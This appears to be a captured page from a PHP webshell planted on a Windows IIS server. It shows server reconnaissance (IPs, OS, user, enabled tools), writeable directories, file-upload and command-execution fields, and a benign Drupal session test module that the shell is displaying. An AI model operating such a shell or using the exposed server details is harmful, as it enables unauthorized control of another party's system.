403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/business/modules/user/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/business/modules/user/tests/user_session_test.module
<?php

/**
 * @file
 * Dummy module implementing a page callback to create an anon session.
 */

/**
 * Implements hook_menu().
 */
function user_session_test_menu() {
  $items = array();
  $items['user_session_test_anon_session'] = array(
    'page callback' => 'user_session_test_anon_session',
    'access callback' => TRUE,
  );
  return $items;
}

/**
 * Page callback.
 *
 * Creates an anonymous user session.
 */
function user_session_test_anon_session() {
  $data = 'This dummy data will be stored in a user session.';
  $_SESSION[__FUNCTION__] = $data;
  return $data;
}

Youez - 2016 - github.com/yon3zu
LinuXploit